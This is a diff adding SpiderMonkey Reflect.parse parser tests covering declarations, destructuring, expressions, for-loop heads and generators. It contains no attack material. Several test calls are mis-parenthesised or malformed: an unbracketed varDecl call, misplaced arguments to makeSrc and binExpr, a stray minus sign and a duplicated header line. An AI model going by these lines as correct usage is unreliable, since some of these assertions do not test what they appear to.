+// redeclarations (TOK_NAME nodes with lexdef)
+
+assertStmt("function f() { function g() { } function g() { } }",
+ funDecl(ident("f"), [], blockStmt([funDecl(ident("g"), [], blockStmt([])),
+ funDecl(ident("g"), [], blockStmt([]))])));
+
+// Fails due to parser quirks (bug 638577)
+//assertStmt("function f() { function g() { } function g() { return 42 } }",
+// funDecl(ident("f"), [], blockStmt([funDecl(ident("g"), [], blockStmt([])),
+// funDecl(ident("g"), [], blockStmt([returnStmt(lit(42))]))])));
+
+assertStmt("function f() { var x = 42; var x = 43; }",
+ funDecl(ident("f"), [], blockStmt([varDecl([{ id: ident("x"), init: lit(42) }]),
+ varDecl([{ id: ident("x"), init: lit(43) }])])));
+
+
+assertDecl("var {x:y} = foo;", varDecl([{ id: objPatt([assignProp("x", ident("y"))]),
+ init: ident("foo") }]));
+assertDecl("var {x} = foo;", varDecl([{ id: objPatt([assignProp("x")]),
+ init: ident("foo") }]));
+
+// Bug 632030: redeclarations between var and funargs, var and function
+assertStmt("function g(x) { var x }",
+ funDecl(ident("g"), [ident("x")], blockStmt([varDecl[{ id: ident("x"), init: null }]])));
+assertProg("f.p = 1; var f; f.p; function f(){}",
+ [exprStmt(aExpr("=", dotExpr(ident("f"), ident("p")), lit(1))),
+ varDecl([{ id: ident("f"), init: null }]),
+ exprStmt(dotExpr(ident("f"), ident("p"))),
+ funDecl(ident("f"), [], blockStmt([]))]);
+}
+
+assertBlockStmt("{ function f(x) {} }",
+ blockStmt([funDecl(ident("f"), [ident("x")], blockStmt([]))]));
+
+// Annex B semantics should not change parse tree.
+assertBlockStmt("{ let f; { function f(x) {} } }",
+ blockStmt([letDecl([{ id: ident("f"), init: null }]),
+ blockStmt([funDecl(ident("f"), [ident("x")], blockStmt([]))])]));
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/destructuring-array-holes-reflect-as-null.js b/js/src/tests/js1_8_5/reflect-parse/destructuring-array-holes-reflect-as-null.js
new file mode 100644
index 000000000..8005ecc5c
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/destructuring-array-holes-reflect-as-null.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Bug 632027: array holes should reflect as null
+assertExpr("[,]=[,]", aExpr("=", arrPatt([null]), arrExpr([null])));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/destructuring-assignment.js b/js/src/tests/js1_8_5/reflect-parse/destructuring-assignment.js
new file mode 100644
index 000000000..cba4197ee
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/destructuring-assignment.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// destructuring assignment
+
+function testAssignmentCombinations(makePattSrc, makePattPatt) {
+ var pattSrcs = makePatternCombinations(n => ("x" + n + " = 0"), makePattSrc);
+ var pattPatts = makePatternCombinations(n => (aExpr("=", ident("x" + n), lit(0))), makePattPatt);
+
+ for (var i = 0; i < pattSrcs.length; i++) {
+ var src = pattSrcs[i].join(",");
+ var patt = pattPatts[i].length === 1 ? pattPatts[i][0] : seqExpr(pattPatts[i]);
+
+ // assignment expression statement
+ assertExpr("(" + src + ")", patt);
+
+ // for-loop head assignment
+ assertStmt("for (" + src + "; foo; bar);",
+ forStmt(patt, ident("foo"), ident("bar"), emptyStmt));
+ }
+}
+
+testAssignmentCombinations(n => ("{a" + n + ":x" + n + "," + "b" + n + ":y" + n + "," + "c" + n + ":z" + n + "} = 0"),
+ n => (aExpr("=",
+ objPatt([assignProp("a" + n, ident("x" + n)),
+ assignProp("b" + n, ident("y" + n)),
+ assignProp("c" + n, ident("z" + n))]),
+ lit(0))));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/destructuring-function-parameters.js b/js/src/tests/js1_8_5/reflect-parse/destructuring-function-parameters.js
new file mode 100644
index 000000000..ff53018d2
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/destructuring-function-parameters.js
@@ -0,0 +1,54 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+var JS_HAS_EXPR_CLOSURES = true;
+
+function testParamPatternCombinations(makePattSrc, makePattPatt) {
+ var pattSrcs = makePatternCombinations(n => ("x" + n), makePattSrc);
+ var pattPatts = makePatternCombinations(n => (ident("x" + n)), makePattPatt);
+
+ for (var i = 0; i < pattSrcs.length; i++) {
+ function makeSrc(body) {
+ return "(function(" + pattSrcs[i].join(",") + ") " + body + ")";
+ }
+ function makePatt(body) {
+ return funExpr(null, pattPatts[i], body);
+ }
+
+ // no upvars, block body
+ assertExpr(makeSrc("{ }", makePatt(blockStmt([]))));
+ // upvars, block body
+ assertExpr(makeSrc("{ return [x1,x2,x3,x4,x5]; }"),
+ makePatt(blockStmt([returnStmt(arrExpr([ident("x1"), ident("x2"), ident("x3"), ident("x4"), ident("x5")]))])));
+ if (JS_HAS_EXPR_CLOSURES) {
+ // no upvars, expression body
+ assertExpr(makeSrc("(0)"), makePatt(lit(0)));
+ // upvars, expression body
+ assertExpr(makeSrc("[x1,x2,x3,x4,x5]"),
+ makePatt(arrExpr([ident("x1"), ident("x2"), ident("x3"), ident("x4"), ident("x5")])));
+ }
+ }
+}
+
+testParamPatternCombinations(n => ("{a" + n + ":x" + n + "," + "b" + n + ":y" + n + "," + "c" + n + ":z" + n + "}"),
+ n => (objPatt([assignProp("a" + n, ident("x" + n)),
+ assignProp("b" + n, ident("y" + n)),
+ assignProp("c" + n, ident("z" + n))])));
+
+testParamPatternCombinations(n => ("{a" + n + ":x" + n + " = 10," + "b" + n + ":y" + n + " = 10," + "c" + n + ":z" + n + " = 10}"),
+ n => (objPatt([assignProp("a" + n, ident("x" + n), lit(10)),
+ assignProp("b" + n, ident("y" + n), lit(10)),
+ assignProp("c" + n, ident("z" + n), lit(10))])));
+
+testParamPatternCombinations(n => ("[x" + n + "," + "y" + n + "," + "z" + n + "]"),
+ n => (arrPatt([assignElem("x" + n), assignElem("y" + n), assignElem("z" + n)])));
+
+testParamPatternCombinations(n => ("[a" + n + ", ..." + "b" + n + "]"),
+ n => (arrPatt([assignElem("a" + n), spread(ident("b" + n))])));
+
+testParamPatternCombinations(n => ("[a" + n + ", " + "b" + n + " = 10]"),
+ n => (arrPatt([assignElem("a" + n), assignElem("b" + n, lit(10))])));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/destructuring-variable-declarations.js b/js/src/tests/js1_8_5/reflect-parse/destructuring-variable-declarations.js
new file mode 100644
index 000000000..4df8682cb
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/destructuring-variable-declarations.js
@@ -0,0 +1,58 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+function testVarPatternCombinations(makePattSrc, makePattPatt) {
+ var pattSrcs = makePatternCombinations(n => ("x" + n), makePattSrc);
+ var pattPatts = makePatternCombinations(n => ({ id: ident("x" + n), init: null }), makePattPatt);
+ // It's illegal to have uninitialized const declarations, so we need a
+ // separate set of patterns and sources.
+ var constSrcs = makePatternCombinations(n => ("x" + n + " = undefined"), makePattSrc);
+ var constPatts = makePatternCombinations(n => ({ id: ident("x" + n), init: ident("undefined") }), makePattPatt);
+
+ for (var i = 0; i < pattSrcs.length; i++) {
+ // variable declarations in blocks
+ assertDecl("var " + pattSrcs[i].join(",") + ";", varDecl(pattPatts[i]));
+
+ assertGlobalDecl("let " + pattSrcs[i].join(",") + ";", letDecl(pattPatts[i]));
+ assertLocalDecl("let " + pattSrcs[i].join(",") + ";", letDecl(pattPatts[i]));
+ assertBlockDecl("let " + pattSrcs[i].join(",") + ";", letDecl(pattPatts[i]));
+
+ assertDecl("const " + constSrcs[i].join(",") + ";", constDecl(constPatts[i]));
+
+ // variable declarations in for-loop heads
+ assertStmt("for (var " + pattSrcs[i].join(",") + "; foo; bar);",
+ forStmt(varDecl(pattPatts[i]), ident("foo"), ident("bar"), emptyStmt));
+ assertStmt("for (let " + pattSrcs[i].join(",") + "; foo; bar);",
+ forStmt(letDecl(pattPatts[i]), ident("foo"), ident("bar"), emptyStmt));
+ assertStmt("for (const " + constSrcs[i].join(",") + "; foo; bar);",
+ forStmt(constDecl(constPatts[i]), ident("foo"), ident("bar"), emptyStmt));
+ }
+}
+
+testVarPatternCombinations(n => ("{a" + n + ":x" + n + "," + "b" + n + ":y" + n + "," + "c" + n + ":z" + n + "} = 0"),
+ n => ({ id: objPatt([assignProp("a" + n, ident("x" + n)),
+ assignProp("b" + n, ident("y" + n)),
+ assignProp("c" + n, ident("z" + n))]),
+ init: lit(0) }));
+
+testVarPatternCombinations(n => ("{a" + n + ":x" + n + " = 10," + "b" + n + ":y" + n + " = 10," + "c" + n + ":z" + n + " = 10} = 0"),
+ n => ({ id: objPatt([assignProp("a" + n, ident("x" + n), lit(10)),
+ assignProp("b" + n, ident("y" + n), lit(10)),
+ assignProp("c" + n, ident("z" + n), lit(10))]),
+ init: lit(0) }));
+
+testVarPatternCombinations(n => ("[x" + n + "," + "y" + n + "," + "z" + n + "] = 0"),
+ n => ({ id: arrPatt([assignElem("x" + n), assignElem("y" + n), assignElem("z" + n)]),
+ init: lit(0) }));
+
+testVarPatternCombinations(n => ("[a" + n + ", ..." + "b" + n + "] = 0"),
+ n => ({ id: arrPatt([assignElem("a" + n), spread(ident("b" + n))]),
+ init: lit(0) }));
+
+testVarPatternCombinations(n => ("[a" + n + ", " + "b" + n + " = 10] = 0"),
+ n => ({ id: arrPatt([assignElem("a" + n), assignElem("b" + n, lit(10))]),
+ init: lit(0) }));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/destructuring__proto__.js b/js/src/tests/js1_8_5/reflect-parse/destructuring__proto__.js
new file mode 100644
index 000000000..323890408
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/destructuring__proto__.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// |reftest| skip-if(!xulRuntime.shell)
+// bug 963641
+
+Reflect.parse("({ __proto__: null });");
+Reflect.parse("var { __proto__: x } = obj;");
+Reflect.parse("var [{ __proto__: y }] = obj;");
+Reflect.parse("[{ __proto__: y }] = arr;");
+Reflect.parse("({ __proto__: y } = obj);");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+
+
+print("Tests complete");
diff --git a/js/src/tests/js1_8_5/reflect-parse/expression.js b/js/src/tests/js1_8_5/reflect-parse/expression.js
new file mode 100644
index 000000000..55d85a029
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/expression.js
@@ -0,0 +1,155 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// primary expressions
+assertExpr("true", lit(true));
+assertExpr("false", lit(false));
+assertExpr("42", lit(42));
+assertExpr("(/asdf/)", lit(/asdf/));
+assertExpr("this", thisExpr);
+assertExpr("foo", ident("foo"));
+
+// member expressions
+assertExpr("foo.bar", dotExpr(ident("foo"), ident("bar")));
+assertExpr("foo[bar]", memExpr(ident("foo"), ident("bar")));
+assertExpr("foo['bar']", memExpr(ident("foo"), lit("bar")));
+assertExpr("foo[42]", memExpr(ident("foo"), lit(42)));
+
+// function expressions
+assertExpr("(function(){})", funExpr(null, [], blockStmt([])));
+assertExpr("(function f() {})", funExpr(ident("f"), [], blockStmt([])));
+assertExpr("(function f(x,y,z) {})", funExpr(ident("f"), [ident("x"),ident("y"),ident("z")], blockStmt([])));
+assertExpr("a => a", arrowExpr([ident("a")], ident("a")));
+assertExpr("(a) => a", arrowExpr([ident("a")], ident("a")));
+assertExpr("a => b => a", arrowExpr([ident("a")], arrowExpr([ident("b")], ident("a"))));
+assertExpr("a => {}", arrowExpr([ident("a")], blockStmt([])));
+assertExpr("a => ({})", arrowExpr([ident("a")], objExpr([])));
+assertExpr("(a, b, c) => {}", arrowExpr([ident("a"), ident("b"), ident("c")], blockStmt([])));
+assertExpr("([a, b]) => {}", arrowExpr([arrPatt([assignElem("a"), assignElem("b")])], blockStmt([])));
+
+// Unary expressions
+assertExpr("(++x)", updExpr("++", ident("x"), true));
+assertExpr("(x++)", updExpr("++", ident("x"), false));
+assertExpr("(+x)", unExpr("+", ident("x")));
+assertExpr("(-x)", unExpr("-", ident("x")));
+assertExpr("(!x)", unExpr("!", ident("x")));
+assertExpr("(~x)", unExpr("~", ident("x")));
+assertExpr("(delete x)", unExpr("delete", ident("x")));
+assertExpr("(typeof x)", unExpr("typeof", ident("x")));
+assertExpr("(void x)", unExpr("void", ident("x")));
+
+// Bug 632026: constant-folding
+assertExpr("typeof(0?0:a)", unExpr("typeof", condExpr(lit(0), lit(0), ident("a"))));
+
+// Binary exporessions
+assertExpr("(x == y)", binExpr("==", ident("x"), ident("y")));
+assertExpr("(x != y)", binExpr("!=", ident("x"), ident("y")));
+assertExpr("(x === y)", binExpr("===", ident("x"), ident("y")));
+assertExpr("(x !== y)", binExpr("!==", ident("x"), ident("y")));
+assertExpr("(x < y)", binExpr("<", ident("x"), ident("y")));
+assertExpr("(x <= y)", binExpr("<=", ident("x"), ident("y")));
+assertExpr("(x > y)", binExpr(">", ident("x"), ident("y")));
+assertExpr("(x >= y)", binExpr(">=", ident("x"), ident("y")));
+assertExpr("(x << y)", binExpr("<<", ident("x"), ident("y")));
+assertExpr("(x >> y)", binExpr(">>", ident("x"), ident("y")));
+assertExpr("(x >>> y)", binExpr(">>>", ident("x"), ident("y")));
+assertExpr("(x + y)", binExpr("+", ident("x"), ident("y")));
+assertExpr("(w + x + y + z)", binExpr("+", binExpr("+", binExpr("+", ident("w"), ident("x")), ident("y")), ident("z")));
+assertExpr("(x - y)", binExpr("-", ident("x"), ident("y")));
+assertExpr("(w - x - y - z)", binExpr("-", binExpr("-", binExpr("-", ident("w"), ident("x")), ident("y")), ident("z")));
+assertExpr("(x * y)", binExpr("*", ident("x"), ident("y")));
+assertExpr("(x / y)", binExpr("/", ident("x"), ident("y")));
+assertExpr("(x % y)", binExpr("%", ident("x"), ident("y")));
+assertExpr("(x | y)", binExpr("|", ident("x"), ident("y")));
+assertExpr("(x ^ y)", binExpr("^", ident("x"), ident("y")));
+assertExpr("(x & y)", binExpr("&", ident("x"), ident("y")));
+assertExpr("(x in y)", binExpr("in", ident("x"), ident("y")));
+assertExpr("(x instanceof y)", binExpr("instanceof", ident("x"), ident("y")));
+
+// Bug 571617: eliminate constant-folding
+assertExpr("2 + 3", binExpr("+", lit(2), lit(3)));
+
+// Assignment expressions
+assertExpr("(x = y)", aExpr("=", ident("x"), ident("y")));
+assertExpr("(x += y)", aExpr("+=", ident("x"), ident("y")));
+assertExpr("(x -= y)", aExpr("-=", ident("x"), ident("y")));
+assertExpr("(x *= y)", aExpr("*=", ident("x"), ident("y")));
+assertExpr("(x /= y)", aExpr("/=", ident("x"), ident("y")));
+assertExpr("(x %= y)", aExpr("%=", ident("x"), ident("y")));
+assertExpr("(x <<= y)", aExpr("<<=", ident("x"), ident("y")));
+assertExpr("(x >>= y)", aExpr(">>=", ident("x"), ident("y")));
+assertExpr("(x >>>= y)", aExpr(">>>=", ident("x"), ident("y")));
+assertExpr("(x |= y)", aExpr("|=", ident("x"), ident("y")));
+assertExpr("(x ^= y)", aExpr("^=", ident("x"), ident("y")));
+assertExpr("(x &= y)", aExpr("&=", ident("x"), ident("y")));
+
+// Conditional expressions
+assertExpr("(x || y)", logExpr("||", ident("x"), ident("y")));
+assertExpr("(x && y)", logExpr("&&", ident("x"), ident("y")));
+assertExpr("(w || x || y || z)", logExpr("||", logExpr("||", logExpr("||", ident("w"), ident("x")), ident("y")), ident("z")))
+assertExpr("(x ? y : z)", condExpr(ident("x"), ident("y"), ident("z")));
+
+// Sequence expressions
+assertExpr("(x,y)", seqExpr([ident("x"),ident("y")]))
+assertExpr("(x,y,z)", seqExpr([ident("x"),ident("y"),ident("z")]))
+assertExpr("(a,b,c,d,e,f,g)", seqExpr([ident("a"),ident("b"),ident("c"),ident("d"),ident("e"),ident("f"),ident("g")]));
+
+// Call expressions
+assertExpr("(new Object)", newExpr(ident("Object"), []));
+assertExpr("(new Object())", newExpr(ident("Object"), []));
+assertExpr("(new Object(42))", newExpr(ident("Object"), [lit(42)]));
+assertExpr("(new Object(1,2,3))", newExpr(ident("Object"), [lit(1),lit(2),lit(3)]));
+assertExpr("(String())", callExpr(ident("String"), []));
+assertExpr("(String(42))", callExpr(ident("String"), [lit(42)]));
+assertExpr("(String(1,2,3))", callExpr(ident("String"), [lit(1),lit(2),lit(3)]));
+
+// Array expressions
+assertExpr("[]", arrExpr([]));
+assertExpr("[1]", arrExpr([lit(1)]));
+assertExpr("[1,2]", arrExpr([lit(1),lit(2)]));
+assertExpr("[1,2,3]", arrExpr([lit(1),lit(2),lit(3)]));
+assertExpr("[1,,2,3]", arrExpr([lit(1),null,lit(2),lit(3)]));
+assertExpr("[1,,,2,3]", arrExpr([lit(1),null,null,lit(2),lit(3)]));
+assertExpr("[1,,,2,,3]", arrExpr([lit(1),null,null,lit(2),null,lit(3)]));
+assertExpr("[1,,,2,,,3]", arrExpr([lit(1),null,null,lit(2),null,null,lit(3)]));
+assertExpr("[,1,2,3]", arrExpr([null,lit(1),lit(2),lit(3)]));
+assertExpr("[,,1,2,3]", arrExpr([null,null,lit(1),lit(2),lit(3)]));
+assertExpr("[,,,1,2,3]", arrExpr([null,null,null,lit(1),lit(2),lit(3)]));
+assertExpr("[,,,1,2,3,]", arrExpr([null,null,null,lit(1),lit(2),lit(3)]));
+assertExpr("[,,,1,2,3,,]", arrExpr([null,null,null,lit(1),lit(2),lit(3),null]));
+assertExpr("[,,,1,2,3,,,]", arrExpr([null,null,null,lit(1),lit(2),lit(3),null,null]));
+assertExpr("[,,,,,]", arrExpr([null,null,null,null,null]));
+assertExpr("[1, ...a, 2]", arrExpr([lit(1), spread(ident("a")), lit(2)]));
+assertExpr("[,, ...a,, ...b, 42]", arrExpr([null,null, spread(ident("a")),, spread(ident("b")), lit(42)]));
+assertExpr("[1,(2,3)]", arrExpr([lit(1),seqExpr([lit(2),lit(3)])]));
+assertExpr("[,(2,3)]", arrExpr([null,seqExpr([lit(2),lit(3)])]));
+
+// Object expressions
+assertExpr("({})", objExpr([]));
+assertExpr("({x:1})", objExpr([{ key: ident("x"), value: lit(1) }]));
+assertExpr("({x:x, y})", objExpr([{ key: ident("x"), value: ident("x"), shorthand: false },
+ { key: ident("y"), value: ident("y"), shorthand: true }]));
+assertExpr("({x:1, y:2})", objExpr([{ key: ident("x"), value: lit(1) },
+ { key: ident("y"), value: lit(2) } ]));
+assertExpr("({x:1, y:2, z:3})", objExpr([{ key: ident("x"), value: lit(1) },
+ { key: ident("y"), value: lit(2) },
+ { key: ident("z"), value: lit(3) } ]));
+assertExpr("({x:1, 'y':2, z:3})", objExpr([{ key: ident("x"), value: lit(1) },
+ { key: lit("y"), value: lit(2) },
+ { key: ident("z"), value: lit(3) } ]));
+assertExpr("({'x':1, 'y':2, z:3})", objExpr([{ key: lit("x"), value: lit(1) },
+ { key: lit("y"), value: lit(2) },
+ { key: ident("z"), value: lit(3) } ]));
+assertExpr("({'x':1, 'y':2, 3:3})", objExpr([{ key: lit("x"), value: lit(1) },
+ { key: lit("y"), value: lit(2) },
+ { key: lit(3), value: lit(3) } ]));
+assertExpr("({__proto__:x})", objExpr([{ type: "PrototypeMutation", value: ident("x") }]));
+assertExpr("({'__proto__':x})", objExpr([{ type: "PrototypeMutation", value: ident("x") }]));
+assertExpr("({['__proto__']:x})", objExpr([{ type: "Property", key: comp(lit("__proto__")), value: ident("x") }]));
+assertExpr("({['__proto__']:q, __proto__() {}, __proto__: null })",
+ objExpr([{ type: "Property", key: comp(lit("__proto__")), value: ident("q") },
+ { type: "Property", key: ident("__proto__"), method: true },
+ { type: "PrototypeMutation", value: lit(null) }]));
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/expressionClosures.js b/js/src/tests/js1_8_5/reflect-parse/expressionClosures.js
new file mode 100644
index 000000000..3f95a0d2a
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/expressionClosures.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// expression closures
+
+assertDecl("function inc(x) (x + 1)", funDecl(ident("inc"), [ident("x")], binExpr("+", ident("x"), lit(1))));
+assertExpr("(function(x) (x+1))", funExpr(null, [ident("x")], binExpr("+"), ident("x"), lit(1)));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/for-loop-destructuring.js b/js/src/tests/js1_8_5/reflect-parse/for-loop-destructuring.js
new file mode 100644
index 000000000..b04c8218c
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/for-loop-destructuring.js
@@ -0,0 +1,63 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// destructuring in for-in and for-each-in loop heads
+
+var axbycz = objPatt([assignProp("a", ident("x")),
+ assignProp("b", ident("y")),
+ assignProp("c", ident("z"))]);
+var xyz = arrPatt([assignElem("x"), assignElem("y"), assignElem("z")]);
+
+assertStmt("for (var {a:x,b:y,c:z} in foo);", forInStmt(varDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (let {a:x,b:y,c:z} in foo);", forInStmt(letDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for ({a:x,b:y,c:z} in foo);", forInStmt(axbycz, ident("foo"), emptyStmt));
+assertStmt("for (var [x,y,z] in foo);", forInStmt(varDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (let [x,y,z] in foo);", forInStmt(letDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for ([x,y,z] in foo);", forInStmt(xyz, ident("foo"), emptyStmt));
+assertStmt("for (var {a:x,b:y,c:z} of foo);", forOfStmt(varDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (let {a:x,b:y,c:z} of foo);", forOfStmt(letDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for ({a:x,b:y,c:z} of foo);", forOfStmt(axbycz, ident("foo"), emptyStmt));
+assertStmt("for (var [x,y,z] of foo);", forOfStmt(varDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (let [x,y,z] of foo);", forOfStmt(letDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for ([x,y,z] of foo);", forOfStmt(xyz, ident("foo"), emptyStmt));
+assertStmt("for each (var {a:x,b:y,c:z} in foo);", forEachInStmt(varDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for each (let {a:x,b:y,c:z} in foo);", forEachInStmt(letDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for each ({a:x,b:y,c:z} in foo);", forEachInStmt(axbycz, ident("foo"), emptyStmt));
+assertStmt("for each (var [x,y,z] in foo);", forEachInStmt(varDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for each (let [x,y,z] in foo);", forEachInStmt(letDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for each ([x,y,z] in foo);", forEachInStmt(xyz, ident("foo"), emptyStmt));
+
+assertStmt("for (const x in foo);",
+ forInStmt(constDecl([{ id: ident("x"), init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (const {a:x,b:y,c:z} in foo);",
+ forInStmt(constDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (const [x,y,z] in foo);",
+ forInStmt(constDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+
+assertStmt("for (const x of foo);",
+ forOfStmt(constDecl([{id: ident("x"), init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (const {a:x,b:y,c:z} of foo);",
+ forOfStmt(constDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (const [x,y,z] of foo);",
+ forOfStmt(constDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+
+assertStmt("for each (const x in foo);",
+ forEachInStmt(constDecl([{ id: ident("x"), init: null }]), ident("foo"), emptyStmt));
+assertStmt("for each (const {a:x,b:y,c:z} in foo);",
+ forEachInStmt(constDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for each (const [x,y,z] in foo);",
+ forEachInStmt(constDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+
+assertError("for (x = 22 in foo);", SyntaxError);-
+assertError("for ({a:x,b:y,c:z} = 22 in foo);", SyntaxError);
+assertError("for ([x,y,z] = 22 in foo);", SyntaxError);
+assertError("for (const x = 22 in foo);", SyntaxError);
+assertError("for (const {a:x,b:y,c:z} = 22 in foo);", SyntaxError);
+assertError("for (const [x,y,z] = 22 in foo);", SyntaxError);
+assertError("for each (const x = 22 in foo);", SyntaxError);
+assertError("for each (const {a:x,b:y,c:z} = 22 in foo);", SyntaxError);
+assertError("for each (const [x,y,z] = 22 in foo);", SyntaxError);
+
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/generatorExpressions.js b/js/src/tests/js1_8_5/reflect-parse/generatorExpressions.js
new file mode 100644
index 000000000..e186c9ba8
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/generatorExpressions.js
@@ -0,0 +1,60 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Translate legacy genexprs into less legacy genexprs and test them.
+function assertFormerlyES6GenExpr(expr, body, blocks, filter) {
+ let match = expr.match(/^\((.*?) for (.*)\)$/);
+ assertEq(match !== null, true);
+ let expr2 = "(for " + match[2] + " " + match[1] + ")";
+ assertExpr(expr2, genExpr(body, blocks, filter, "modern"));
+}
+
+assertFormerlyES6GenExpr("( x for (x of foo))",
+ ident("x"), [compOfBlock(ident("x"), ident("foo"))], null);
+assertFormerlyES6GenExpr("( [x,y] for (x of foo) for (y of bar))",
+ arrExpr([ident("x"), ident("y")]), [compOfBlock(ident("x"), ident("foo")), compOfBlock(ident("y"), ident("bar"))], null);
+assertFormerlyES6GenExpr("( [x,y,z] for (x of foo) for (y of bar) for (z of baz))",
+ arrExpr([ident("x"), ident("y"), ident("z")]),
+ [compOfBlock(ident("x"), ident("foo")), compOfBlock(ident("y"), ident("bar")), compOfBlock(ident("z"), ident("baz"))],
+ null);
+
+assertFormerlyES6GenExpr("( x for (x of foo) if (p))",
+ ident("x"), [compOfBlock(ident("x"), ident("foo"))], ident("p"));
+assertFormerlyES6GenExpr("( [x,y] for (x of foo) for (y of bar) if (p))",
+ arrExpr([ident("x"), ident("y")]), [compOfBlock(ident("x"), ident("foo")), compOfBlock(ident("y"), ident("bar"))], ident("p"));
+assertFormerlyES6GenExpr("( [x,y,z] for (x of foo) for (y of bar) for (z of baz) if (p) )",
+ arrExpr([ident("x"), ident("y"), ident("z")]),
+ [compOfBlock(ident("x"), ident("foo")), compOfBlock(ident("y"), ident("bar")), compOfBlock(ident("z"), ident("baz"))],
+ ident("p"));
+
+// FormerlyES6 generator comprehension with multiple ComprehensionIf.
+
+assertExpr("(for (x of foo) x)",
+ genExpr(ident("x"), [compOfBlock(ident("x"), ident("foo"))], null, "modern"));
+assertExpr("(for (x of foo) if (c1) x)",
+ genExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")),
+ compIf(ident("c1"))], null, "modern"));
+assertExpr("(for (x of foo) if (c1) if (c2) x)",
+ genExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")),
+ compIf(ident("c1")), compIf(ident("c2"))], null, "modern"));
+
+assertExpr("(for (x of foo) if (c1) for (y of bar) x)",
+ genExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")),
+ compIf(ident("c1")),
+ compOfBlock(ident("y"), ident("bar"))], null, "modern"));
+assertExpr("(for (x of foo) if (c1) for (y of bar) if (c2) x)",
+ genExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")),
+ compIf(ident("c1")),
+ compOfBlock(ident("y"), ident("bar")),
+ compIf(ident("c2"))], null, "modern"));
+assertExpr("(for (x of foo) if (c1) if (c2) for (y of bar) if (c3) if (c4) x)",
+ genExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")),
+ compIf(ident("c1")), compIf(ident("c2")),
+ compOfBlock(ident("y"), ident("bar")),
+ compIf(ident("c3")), compIf(ident("c4"))], null, "modern"));
+
+// NOTE: it would be good to test generator expressions both with and without upvars, just like functions above.
+
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/generators.js b/js/src/tests/js1_8_5/reflect-parse/generators.js
new file mode 100644
index 000000000..eafdb1cbc
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/generators.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// generators
+
+assertDecl("function gen(x) { yield }", genFunDecl("legacy", ident("gen"), [ident("x")], blockStmt([exprStmt(yieldExpr(null))])));
+assertExpr("(function(x) { yield })", genFunExpr("legacy", null, [ident("x")], blockStmt([exprStmt(yieldExpr(null))])));
+assertDecl("function gen(x) { yield 42 }", genFunDecl("legacy", ident("gen"), [ident("x")], blockStmt([exprStmt(yieldExpr(lit(42)))])));
+assertExpr("(function(x) { yield 42 })", genFunExpr("legacy", null, [ident("x")], blockStmt([exprStmt(yieldExpr(lit(42)))])));
+
+assertDecl("function* gen() {}", genFunDecl("es6", ident("gen"), [], blockStmt([])));
+assertExpr("(function*() {})", genFunExpr("es6", null, [], blockStmt([])));
+assertExpr("(function* gen() {})", genFunExpr("es6", ident("gen"), [], blockStmt([])));
+
+}
+
+runtest(test);
